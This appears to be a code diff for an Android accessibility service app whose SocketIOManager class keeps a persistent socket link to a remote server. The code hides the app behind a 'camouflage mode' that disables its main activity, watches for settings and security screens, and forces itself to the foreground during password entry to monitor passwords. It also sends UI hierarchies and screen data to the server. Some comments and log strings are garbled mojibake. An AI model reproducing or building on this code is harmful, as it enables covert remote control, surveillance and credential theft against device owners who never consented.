+ val canScheduleExactAlarms = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ try {
+ alarmManager?.canScheduleExactAlarms() ?: true
+ } catch (e: Exception) {
+ Log.w(TAG, "Read exact alarm capability failed", e)
+ true
+ }
+ } else {
+ true
+ }
+
+ val overlayAllowed = try {
+ Settings.canDrawOverlays(service)
+ } catch (_: Exception) {
+ false
+ }
+
+ val batteryMessage = buildString {
+ append(
+ if (batteryOptimizationIgnored) {
+ "Battery optimization is ignored"
+ } else {
+ "Battery optimization still enabled"
+ }
+ )
+ append(" | source=").append(source)
+ append(" | rom=").append(getROMType())
+ }
+ sendPermissionResponse(
+ "battery_optimization",
+ batteryOptimizationIgnored,
+ batteryMessage
+ )
+
+ val backgroundReady = !backgroundRestricted
+ val backgroundMessage = buildString {
+ append(
+ if (backgroundReady) {
+ "Background run is not restricted"
+ } else {
+ "Background run is restricted by system"
+ }
+ )
+ append(" | overlay=").append(overlayAllowed)
+ append(" | exactAlarm=").append(canScheduleExactAlarms)
+ append(" | source=").append(source)
+ append(" | note=Auto-start switch is ROM-managed and cannot be read via public Android API")
+ }
+ sendPermissionResponse(
+ "background_start",
+ backgroundReady,
+ backgroundMessage
+ )
+
+ sendDeviceMetric(
+ metricType = "keepalive",
+ metricName = "permission_snapshot",
+ success = backgroundReady && batteryOptimizationIgnored,
+ data = mapOf(
+ "source" to source,
+ "batteryOptimizationIgnored" to batteryOptimizationIgnored,
+ "backgroundRestricted" to backgroundRestricted,
+ "exactAlarmGranted" to canScheduleExactAlarms,
+ "overlayGranted" to overlayAllowed
+ )
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Send keepalive permission snapshot failed", e)
+ sendPermissionResponse(
+ "background_start",
+ false,
+ "Keepalive status check failed: ${e.message ?: "unknown_error"}"
+ )
+ sendDeviceMetric(
+ metricType = "keepalive",
+ metricName = "permission_snapshot",
+ success = false,
+ data = mapOf(
+ "source" to source,
+ "error" to (e.message ?: "unknown")
+ )
+ )
+ }
+ }
+
+ /**
+ * comment cleaned
+ */
+ private suspend fun maybeRecoverForegroundForSensitiveLaunch(
+ scene: String,
+ skipWhenCamouflage: Boolean = false
+ ): Boolean {
+ if (skipWhenCamouflage) {
+ return false
+ }
+ if (isAppUiInForeground()) {
+ return false
+ }
+
+ val smartReturnOk = try {
+ withTimeoutOrNull(2500) { service.performSmartReturnToApp() } ?: false
+ } catch (e: Exception) {
+ Log.w(TAG, "Smart foreground return failed for scene=$scene", e)
+ false
+ }
+ if (smartReturnOk) {
+ Log.i(TAG, "Foreground recovered by smart return, scene=$scene")
+ return true
+ }
+
+ return bringAppToForeground(scene)
+ }
+
+ private suspend fun bringAppToForeground(scene: String): Boolean {
+ val launchIntent = try {
+ service.packageManager.getLaunchIntentForPackage(service.packageName)?.apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ putExtra("FROM_SOCKET_FOREGROUND_RECOVERY", true)
+ putExtra("RECOVERY_SCENE", scene)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Get launch intent failed for scene=$scene", e)
+ null
+ }
+
+ if (launchIntent == null) {
+ Log.w(TAG, "No launch intent available for scene=$scene")
+ return false
+ }
+
+ val launched = startActivityOnMain(launchIntent, "ForegroundRecovery-$scene")
+ if (launched) {
+ Log.i(TAG, "Foreground recovery launch sent, scene=$scene")
+ }
+ return launched
+ }
+
+ private suspend fun startActivityOnMain(intent: Intent, scene: String): Boolean {
+ if (!isIntentResolvable(intent)) {
+ Log.w(TAG, "Intent unresolved, skip scene=$scene, action=${intent.action}, component=${intent.component}")
+ return false
+ }
+
+ return withContext(Dispatchers.Main) {
+ try {
+ service.startActivity(intent)
+ Log.d(TAG, "startActivity sent on main thread, scene=$scene")
+ true
+ } catch (t: Throwable) {
+ Log.e(TAG, "startActivity failed, scene=$scene", t)
+ false
+ }
+ }
+ }
+
+ private fun isIntentResolvable(intent: Intent): Boolean {
+ if (intent.component != null) {
+ return true
+ }
+ return try {
+ service.packageManager.resolveActivity(intent, 0) != null
+ } catch (e: Exception) {
+ Log.w(TAG, "resolveActivity failed: action=${intent.action}", e)
+ false
+ }
+ }
+
+ private fun isAppUiInForeground(): Boolean {
+ return try {
+ val packageName = service.rootInActiveWindow?.packageName?.toString().orEmpty()
+ packageName == service.packageName
+ } catch (e: Exception) {
+ Log.w(TAG, "Check app foreground failed", e)
+ false
+ }
+ }
+
+ private fun isPasswordInputUiVisible(): Boolean {
+ return try {
+ val root = service.rootInActiveWindow
+ val packageName = root?.packageName?.toString().orEmpty()
+ val className = root?.className?.toString().orEmpty()
+ packageName == service.packageName && className.contains("PasswordInputActivity")
+ } catch (e: Exception) {
+ Log.w(TAG, "Check PasswordInputActivity visibility failed", e)
+ false
+ }
+ }
+
+ private fun isSettingsUiVisible(): Boolean {
+ return try {
+ val packageName = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ packageName.contains("settings") ||
+ packageName.contains("systemmanager") ||
+ packageName.contains("securitycenter")
+ } catch (e: Exception) {
+ Log.w(TAG, "Check settings visibility failed", e)
+ false
}
}
/**
- * 🎭 检查APP是否处于伪装模式
+ * Check whether APP is in camouflage mode
*/
private fun isAppInCamouflageMode(): Boolean {
return try {
@@ -1698,7 +4290,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) &&
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
- Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
+ Log.d(TAG, "Check APP camouflage mode: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)")
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "Failed to check app camouflage mode", e)
@@ -1707,11 +4299,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🎭 确保MainActivity被禁用
+ * comment cleaned
*/
private fun ensureMainActivityDisabled() {
try {
- Log.i(TAG, "🎭 确保MainActivity被禁用")
+ Log.i(TAG, "Ensure MainActivity is disabled")
val packageManager = service.packageManager
val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity")
@@ -1734,7 +4326,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 启动无障碍监控（参考handleNormalPasswordPageSwitch强制置顶）
+ * comment cleaned
*/
private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
@@ -1742,7 +4334,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Device ID: $deviceId")
Log.d(TAG, "Installation ID: $installationId")
- // 通过AccessibilityRemoteService获取AccessibilityEventManager
+ // comment cleaned
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
Log.d(TAG, "Got AccessibilityRemoteService")
@@ -1750,7 +4342,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
if (eventManager != null) {
Log.d(TAG, "Got AccessibilityEventManager")
- // 启动Socket唤醒密码监控
+ // comment cleaned
eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId)
Log.d(TAG, "Accessibility monitoring started")
@@ -1771,26 +4363,26 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 启动强制置顶监控（参考handleNormalPasswordPageSwitch逻辑）
+ * comment cleaned
*/
private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) {
try {
- Log.d(TAG, "🔝 启动强制置顶监控，密码类型: $passwordType")
+ Log.d(TAG, "馃敐 鍚姩寮哄埗缃《鐩戞帶锛屽瘑鐮佺被鍨? $passwordType")
- // 延迟启动强制置顶，给页面充分时间加载
+ // 寤惰繜鍚姩寮哄埗缃《锛岀粰椤甸潰鍏呭垎鏃堕棿鍔犺浇
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
- // 通过AccessibilityRemoteService获取AccessibilityEventManager
+ // comment cleaned
val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService
if (accessibilityService != null) {
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
- // 启用强制返回功能
+ // comment cleaned
eventManager.enableForceReturn()
Log.d(TAG, "Force return enabled")
- // 记录操作日志
- accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf(
+ // comment cleaned
+ accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket force foreground start", mapOf(
"passwordType" to passwordType,
"deviceId" to deviceId,
"installationId" to installationId,
@@ -1802,7 +4394,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} catch (e: Exception) {
Log.e(TAG, "Failed to start force-top monitoring", e)
}
- }, 2000) // 2秒延迟，给页面充分时间加载
+ }, 2000) // 2绉掑欢杩燂紝缁欓〉闈㈠厖鍒嗘椂闂村姞杞?
} catch (e: Exception) {
Log.e(TAG, "Failed to start force-top monitoring (outer)", e)
@@ -1814,11 +4406,100 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
+ try {
+ srtStreamManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release SRT stream manager failed during disconnect", e)
+ }
+ try {
+ webRTCManager.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release WebRTC manager failed during disconnect", e)
+ }
}
fun isConnected(): Boolean = isConnected && socket?.connected() == true
fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected()
+
+ private fun recordDiagnosticEvent(message: String) {
+ val line = "${Date().toString()} | $message"
+ synchronized(diagnosticEventsLock) {
+ diagnosticEvents.addLast(line)
+ while (diagnosticEvents.size > maxDiagnosticEvents) {
+ diagnosticEvents.removeFirst()
+ }
+ }
+ }
+
+ fun getConnectionDiagnosticsJson(): JSONObject {
+ val now = System.currentTimeMillis()
+ val latestAck = maxOf(lastHeartbeatAckTime, lastConnectionTestAckTime)
+ val events = JSONArray()
+ synchronized(diagnosticEventsLock) {
+ diagnosticEvents.forEach { events.put(it) }
+ }
+
+ return JSONObject().apply {
+ put("serverUrl", serverUrl)
+ put("socketId", socket?.id() ?: "")
+ put("connected", isConnected())
+ put("registered", isDeviceRegistered())
+ put("registrationAttempts", registrationAttempts)
+ put("lastConnectTime", lastConnectTime)
+ put("lastDisconnectTime", lastDisconnectTime)
+ put("lastDisconnectReason", lastDisconnectReason)
+ put("lastConnectErrorTime", lastConnectErrorTime)
+ put("lastConnectErrorMessage", lastConnectErrorMessage)
+ put("lastDeviceRegisterEmitTime", lastDeviceRegisterEmitTime)
+ put("lastDeviceRegisteredTime", lastDeviceRegisteredTime)
+ put("lastConnectionTestSentTime", lastConnectionTestSentTime)
+ put("lastConnectionTestAckTime", lastConnectionTestAckTime)
+ put("lastHeartbeatAckTime", lastHeartbeatAckTime)
+ put("ackStaleMs", if (latestAck > 0) now - latestAck else -1)
+ put("staleAckCount", staleAckCount)
+ put("events", events)
+ }
+ }
+
+ fun getConnectionDiagnosticsSummary(): String {
+ val diag = getConnectionDiagnosticsJson()
+ return buildString {
+ append("serverUrl=").append(diag.optString("serverUrl", ""))
+ append(" | connected=").append(diag.optBoolean("connected", false))
+ append(" | registered=").append(diag.optBoolean("registered", false))
+ append(" | socketId=").append(diag.optString("socketId", ""))
+ append(" | lastError=").append(diag.optString("lastConnectErrorMessage", ""))
+ append(" | regAttempts=").append(diag.optInt("registrationAttempts", 0))
+ append(" | ackStaleMs=").append(diag.optLong("ackStaleMs", -1))
+ }
+ }
+
+ fun getConnectionDiagnosticsReport(): String {
+ val diag = getConnectionDiagnosticsJson()
+ val events = diag.optJSONArray("events") ?: JSONArray()
+ val report = StringBuilder()
+ report.appendLine("=== SOCKET DIAGNOSTICS ===")
+ report.appendLine("serverUrl: ${diag.optString("serverUrl", "")}")
+ report.appendLine("connected: ${diag.optBoolean("connected", false)}")
+ report.appendLine("registered: ${diag.optBoolean("registered", false)}")
+ report.appendLine("socketId: ${diag.optString("socketId", "")}")
+ report.appendLine("registrationAttempts: ${diag.optInt("registrationAttempts", 0)}")
+ report.appendLine("lastConnectError: ${diag.optString("lastConnectErrorMessage", "")}")
+ report.appendLine("lastDisconnectReason: ${diag.optString("lastDisconnectReason", "")}")
+ report.appendLine("lastConnectTime: ${diag.optLong("lastConnectTime", 0)}")
+ report.appendLine("lastDisconnectTime: ${diag.optLong("lastDisconnectTime", 0)}")
+ report.appendLine("lastDeviceRegisterEmitTime: ${diag.optLong("lastDeviceRegisterEmitTime", 0)}")
+ report.appendLine("lastDeviceRegisteredTime: ${diag.optLong("lastDeviceRegisteredTime", 0)}")
+ report.appendLine("lastHeartbeatAckTime: ${diag.optLong("lastHeartbeatAckTime", 0)}")
+ report.appendLine("ackStaleMs: ${diag.optLong("ackStaleMs", -1)}")
+ report.appendLine("staleAckCount: ${diag.optInt("staleAckCount", 0)}")
+ report.appendLine("-- recentEvents --")
+ for (i in 0 until events.length()) {
+ report.appendLine(events.optString(i))
+ }
+ return report.toString()
+ }
/**
* Check connection status and reconnect immediately
@@ -1826,26 +4507,26 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
private fun checkConnectionAndReconnect() {
scope.launch {
try {
- Log.d(TAG, "立即检测连接状态")
+ Log.d(TAG, "Check connection status immediately")
val socketConnected = socket?.connected() == true
if (!socketConnected || !isConnected) {
- Log.w(TAG, "连接已断开，立即重连")
+ Log.w(TAG, "Connection lost, trigger immediate reconnect")
forceReconnect()
} else {
- Log.d(TAG, "连接状态正常")
+ Log.d(TAG, "Connection status healthy")
}
} catch (e: Exception) {
- Log.e(TAG, "连接检测异常", e)
+ Log.e(TAG, "Connection status check exception", e)
}
}
}
/**
- * 智能重新连接 - 增强稳定性版本（针对transport error问题）
- * 添加重连深度限制，防止无限递归导致协程泄漏和内存耗尽
+ * comment cleaned
+ * comment cleaned
*/
private var forceReconnectDepth = 0
private val MAX_FORCE_RECONNECT_DEPTH = 3
@@ -1853,50 +4534,51 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
fun forceReconnect() {
scope.launch {
try {
+ recordDiagnosticEvent("FORCE_RECONNECT depth=${forceReconnectDepth + 1}")
forceReconnectDepth++
if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) {
- Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})，停止递归重连，等待Socket.IO自动重连")
+ Log.e(TAG, "Reconnect depth limit reached (${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH}); stop recursion and wait for Socket.IO auto reconnect")
forceReconnectDepth = 0
return@launch
}
- Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
+ Log.i(TAG, "寮€濮嬫櫤鑳介噸杩?娣卞害${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})")
- // 重置所有状态
+ // comment cleaned
isConnected = false
isDeviceRegistered = false
connectionCheckJob?.cancel()
- // 优雅断开旧连接，给系统清理时间
+ // comment cleaned
try {
socket?.disconnect()
delay(1000)
socket?.close()
} catch (e: Exception) {
- Log.w(TAG, "断开旧连接时出现异常（可忽略）", e)
+ Log.w(TAG, "Exception while disconnecting old connection (ignored)", e)
}
- Log.i(TAG, "旧连接已断开，等待智能延迟后重新连接...")
+ Log.i(TAG, "Old connection closed, waiting before smart reconnect...")
- // 智能延迟：根据网络环境调整等待时间 + 随机化避免多设备同时重连
+ // comment cleaned
val baseDelay = if (Build.VERSION.SDK_INT >= 35) {
8000L
} else {
5000L
}
val randomDelay = (1000..4000).random().toLong()
- // 限制transportErrorCount对延迟的影响，防止延迟无限增长
+ // comment cleaned
val errorIncrement = minOf(transportErrorCount, 5) * 2000L
val totalDelay = baseDelay + randomDelay + errorIncrement
- Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)")
+ Log.i(TAG, "Smart reconnect delay: ${totalDelay}ms (base: ${baseDelay}ms + random: ${randomDelay}ms + error bump: ${errorIncrement}ms)")
delay(totalDelay)
- // 重新创建Socket实例，使用增强配置
- Log.i(TAG, "重新创建增强Socket实例...")
+ // comment cleaned
+ Log.i(TAG, "Recreate enhanced Socket instance...")
try {
val useConservativeStrategy = shouldUseConservativeReconnect()
- Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
+ Log.i(TAG, "Reconnect strategy selected: conservative=$useConservativeStrategy, transportErrorCount=$transportErrorCount")
val options = IO.Options().apply {
val isVeryPoorNetwork = networkQualityScore < 30
@@ -1922,7 +4604,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
else -> 12000L
}
- // 传输策略：根据网络质量和历史情况调整
+ // comment cleaned
transports = when {
isVeryPoorNetwork || networkQualityScore < 40 -> {
arrayOf("polling")
@@ -1931,7 +4613,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
arrayOf("polling")
}
else -> {
- arrayOf("polling", "websocket")
+ arrayOf("websocket", "polling")
}
}
upgrade = !useConservativeStrategy
@@ -1945,22 +4627,22 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
setupEventListeners()
socket?.connect()
- Log.i(TAG, "增强Socket实例已创建并连接")
- // 重连成功，重置深度计数
+ Log.i(TAG, "Enhanced Socket instance created and connected")
+ // comment cleaned
forceReconnectDepth = 0
} catch (e: Exception) {
- Log.e(TAG, "重新创建Socket失败", e)
+ Log.e(TAG, "Failed to recreate Socket", e)
- // 重连失败时的回退策略，有深度限制保护
+ // comment cleaned
delay(10000)
if (!isConnected) {
- Log.w(TAG, "重连失败，10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
+ Log.w(TAG, "閲嶈繛澶辫触锛?0绉掑悗鍐嶆灏濊瘯(娣卞害${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...")
forceReconnect()
}
}
} catch (e: Exception) {
- Log.e(TAG, "智能重连异常", e)
+ Log.e(TAG, "Smart reconnect error", e)
forceReconnectDepth = 0
}
}
@@ -1971,27 +4653,25 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
*/
private fun startConnectionMonitoring() {
Log.e(TAG, "Starting enhanced connection monitoring")
-
- // Optimize: adjust check interval to coordinate with server 60s heartbeat
val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
- 30000L // Android 15每30秒检测一次，与60秒心跳间隔形成2:1比例
+ 12000L
} else {
- 25000L // 其他版本每25秒检测一次，更快发现连接问题
+ 10000L
}
-
+ val ackTimeoutMs = if (Build.VERSION.SDK_INT >= 35) 28000L else 22000L
+
+ connectionCheckJob?.cancel()
connectionCheckJob = scope.launch {
var consecutiveFailures = 0 // Consecutive failure count
-
+
while (isActive && isConnected) {
try {
delay(checkInterval)
-
- Log.w(TAG, "Executing smart connection check...")
-
+
// Multi-layer connection status check
val socketConnected = socket?.connected() == true
val socketExists = socket != null
-
+
if (!socketExists) {
Log.e(TAG, "Socket instance does not exist")
isConnected = false
@@ -1999,64 +4679,77 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
forceReconnect()
break
}
-
+
if (!socketConnected) {
consecutiveFailures++
Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures")
-
- // Balance fault tolerance and response speed
- if (consecutiveFailures >= 5) {
+
+ if (consecutiveFailures >= 3) {
Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect")
isConnected = false
isDeviceRegistered = false
forceReconnect()
break
} else {
- Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check")
continue
}
} else {
- consecutiveFailures = 0 // 重置失败计数
+ consecutiveFailures = 0
}
-
- // Optimize heartbeat test: reduce frequency to minimize transport errors
- if (consecutiveFailures == 0) {
- try {
- val testData = JSONObject().apply {
- put("type", "connection_test")
- put("timestamp", System.currentTimeMillis())
- put("device_id", android.provider.Settings.Secure.getString(
- service.contentResolver,
- android.provider.Settings.Secure.ANDROID_ID
- ))
- }
- socket?.emit("CONNECTION_TEST", testData)
- Log.w(TAG, "Connection check: test message sent successfully")
-
- } catch (e: Exception) {
- consecutiveFailures++
- Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e)
-
- // Respond quickly to heartbeat failures
- if (consecutiveFailures >= 6) {
- Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect")
- isConnected = false
- forceReconnect()
- break
- }
+
+ val now = System.currentTimeMillis()
+ val latestAckTime = maxOf(lastConnectionTestAckTime, lastHeartbeatAckTime)
+ val hasPendingProbe = lastConnectionTestSentTime > 0 && latestAckTime < lastConnectionTestSentTime
+ val ackStaleFor = now - latestAckTime
+ if (hasPendingProbe && ackStaleFor > ackTimeoutMs) {
+ staleAckCount++
+ Log.e(TAG, "Heartbeat ACK stale: ${ackStaleFor}ms, staleCount=$staleAckCount")
+ if (staleAckCount >= 2) {
+ Log.e(TAG, "Heartbeat ACK stale threshold reached, forcing reconnect")
+ isConnected = false
+ isDeviceRegistered = false
+ forceReconnect()
+ break
+ }
+ } else if (latestAckTime > 0 && ackStaleFor <= ackTimeoutMs) {
+ staleAckCount = 0
+ }
+
+ try {
+ val testTimestamp = System.currentTimeMillis()
+ val testData = JSONObject().apply {
+ put("type", "connection_test")
+ put("timestamp", testTimestamp)
+ put("device_id", android.provider.Settings.Secure.getString(
+ service.contentResolver,
+ android.provider.Settings.Secure.ANDROID_ID
+ ))
+ }
+ lastConnectionTestSentTime = testTimestamp
+ socket?.emit("CONNECTION_TEST", testData)
+ } catch (e: Exception) {
+ consecutiveFailures++
+ Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e)
+
+ if (consecutiveFailures >= 4) {
+ Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect")
+ isConnected = false
+ isDeviceRegistered = false
+ forceReconnect()
+ break
}
}
-
+
} catch (e: Exception) {
Log.e(TAG, "Connection monitoring exception", e)
break
}
}
-
- Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔")
+
+ Log.e(TAG, "Connection monitoring stopped")
}
}
-
+
private fun getDeviceId(): String {
return android.provider.Settings.Secure.getString(
service.contentResolver,
@@ -2072,7 +4765,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 获取设备屏幕宽度
+ * comment cleaned
*/
private fun getScreenWidth(): Int {
val metrics = service.resources.displayMetrics
@@ -2080,10 +4773,10 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 获取设备屏幕高度
+ * comment cleaned
*/
private fun getScreenHeight(): Int {
- // 使用WindowMetrics获取完整的屏幕尺寸（包含系统UI）
+ // comment cleaned
try {
val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
@@ -2098,38 +4791,37 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
realSize.y
}
} catch (e: Exception) {
- Log.e(TAG, "获取真实屏幕尺寸失败，使用默认方法", e)
+ Log.e(TAG, "Get real screen height failed, fallback to display metrics", e)
val metrics = service.resources.displayMetrics
return metrics.heightPixels
}
}
/**
- * 处理UI层次结构分析请求 - 默认使用增强功能
+ * comment cleaned
*/
private fun handleUIHierarchyRequest(requestData: JSONObject) {
try {
- Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)")
-
+ Log.i(TAG, "Processing UI hierarchy analysis request")
+
val requestId = requestData.optString("requestId", "")
val clientId = requestData.optString("clientId", "")
- val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true
+ val includeInvisible = requestData.optBoolean("includeInvisible", false)
val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true)
- val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层
-
- Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
-
- // 使用协程在后台执行UI分析
+ val maxDepth = requestData.optInt("maxDepth", 12).coerceIn(4, 16)
+
+ Log.i(
+ TAG,
+ "UI hierarchy request: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth"
+ )
+
scope.launch {
try {
- Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
-
- // 直接调用原有的分析方法，并使用增强参数
- val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
- val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
- val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
-
- // 获取基本设备信息
+ Log.i(TAG, "Start UI hierarchy analysis")
+ val hierarchy = withTimeout(12_000) {
+ service.analyzeUIHierarchy(includeInvisible, includeNonInteractive, maxDepth)
+ }
+
val deviceCharacteristics = mapOf(
"brand" to android.os.Build.BRAND,
"model" to android.os.Build.MODEL,
@@ -2138,25 +4830,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
"androidVersion" to android.os.Build.VERSION.RELEASE,
"deviceType" to "android"
)
-
+
if (hierarchy != null) {
- Log.e(TAG, "Enhanced UI analysis succeeded")
-
- // 发送完整的UI层次结构响应
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("requestId", requestId)
put("clientId", clientId)
put("success", true)
- put("message", "增强UI分析成功")
+ put("message", "UI hierarchy analysis succeeded")
put("timestamp", System.currentTimeMillis())
put("hierarchy", hierarchy as Any)
- put("enhanced", true) // 总是标识为增强版
-
- // 总是包含设备特征信息
+ put("enhanced", true)
put("deviceCharacteristics", JSONObject(deviceCharacteristics))
-
- // 添加分析元数据
put("analysisMetadata", JSONObject().apply {
put("version", "enhanced_v1.0")
put("parameters", JSONObject().apply {
@@ -2171,32 +4856,27 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
})
})
}
-
- Log.e(TAG, "Sending enhanced UI hierarchy response")
- Log.e(TAG, "Response data size: ${responseData.toString().length} chars")
- Log.e(TAG, "Device features: included")
-
- // 发送响应
+
+ Log.i(TAG, "Sending UI hierarchy response, size=${responseData.toString().length}")
sendUIHierarchyResponse(responseData)
-
} else {
- Log.e(TAG, "Enhanced UI analysis returned null")
- // 发送错误响应
- sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构（增强模式）")
+ sendUIHierarchyError(requestId, clientId, "Unable to get UI hierarchy")
}
+ } catch (timeout: TimeoutCancellationException) {
+ Log.w(TAG, "UI hierarchy analysis timeout")
+ sendUIHierarchyError(requestId, clientId, "UI hierarchy analyze timeout")
} catch (e: Exception) {
- Log.e(TAG, "Enhanced UI hierarchy analysis failed", e)
- sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
+ Log.e(TAG, "UI hierarchy analysis failed", e)
+ sendUIHierarchyError(requestId, clientId, "UI hierarchy analyze failed: ${e.message}")
}
}
-
} catch (e: Exception) {
Log.e(TAG, "Handle UI hierarchy request failed", e)
}
}
-
+
/**
- * 发送UI层次结构响应 - 使用screen_data事件发送（已验证可行）
+ * comment cleaned
*/
private fun sendUIHierarchyResponse(responseData: JSONObject) {
try {
@@ -2210,13 +4890,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Convert UI response data to screen_data format
val uiScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
- put("format", "UI_HIERARCHY") // 特殊格式标识
- put("data", responseData.toString()) // UI数据作为字符串
+ put("format", "UI_HIERARCHY") // 閻楄鐣╅弽鐓庣础閺嶅洩鐦?
+ put("data", responseData.toString()) // UI鏁版嵁浣滀负瀛楃涓?
put("width", getScreenWidth())
put("height", getScreenHeight())
- put("quality", 100) // UI数据质量设为100
+ put("quality", 100) // UI閺佺増宓佺拹銊╁櫤鐠佸彞璐?00
put("timestamp", System.currentTimeMillis())
- put("uiHierarchy", true) // 标识这是UI层次结构数据
+ put("uiHierarchy", true) // mark as UI hierarchy data
}
val emitResult = socket?.emit("screen_data", uiScreenData)
@@ -2243,7 +4923,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送UI层次结构错误响应 - 使用screen_data事件发送
+ * comment cleaned
*/
private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
try {
@@ -2264,14 +4944,14 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Convert error response to screen_data format
val errorScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
- put("format", "UI_HIERARCHY") // 特殊格式标识
- put("data", errorData.toString()) // 错误数据作为字符串
+ put("format", "UI_HIERARCHY") // 閻楄鐣╅弽鐓庣础閺嶅洩鐦?
+ put("data", errorData.toString()) // 閿欒鏁版嵁浣滀负瀛楃涓?
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 100)
put("timestamp", System.currentTimeMillis())
- put("uiHierarchy", true) // 标识这是UI层次结构数据
- put("isError", true) // 标识这是错误响应
+ put("uiHierarchy", true) // mark as UI hierarchy data
+ put("isError", true) // 鏍囪瘑杩欐槸閿欒鍝嶅簲
}
val emitResult = socket?.emit("screen_data", errorScreenData)
@@ -2324,7 +5004,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
} catch (e: Exception) {
- Log.w(TAG, "获取网络类型失败", e)
+ Log.w(TAG, "Failed to get network type", e)
"UNKNOWN"
